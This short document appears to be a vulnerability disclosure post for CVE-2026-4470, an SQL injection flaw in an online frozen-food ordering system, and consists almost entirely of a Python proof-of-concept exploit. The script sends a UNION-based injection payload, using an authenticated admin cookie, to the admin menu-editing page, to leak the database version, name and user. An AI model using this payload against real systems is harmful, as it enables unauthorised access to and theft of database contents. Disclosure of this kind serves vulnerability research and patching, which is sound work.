CVE-2026-4470: Online Frozen Foods Ordering System SQL注入漏洞

import requests # Target URL (Example) url = "http://target.com/admin/admin_edit_menu.php" # Attacker needs to be authenticated (Admin cookie required) cookies = { "PHPSESSID": "valid_admin_session_id" } # Payload to test SQL injection # ' OR '1'='1 is a basic test, but for data extraction we might use UNION based injection payload = { "product_name": "' UNION SELECT NULL, version(), database(), user()-- -", "id": "1" # Assuming an ID is needed for editing } response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("Request sent successfully. Check response for SQL errors or leaked data.") print(response.text) else: print("Failed to send request")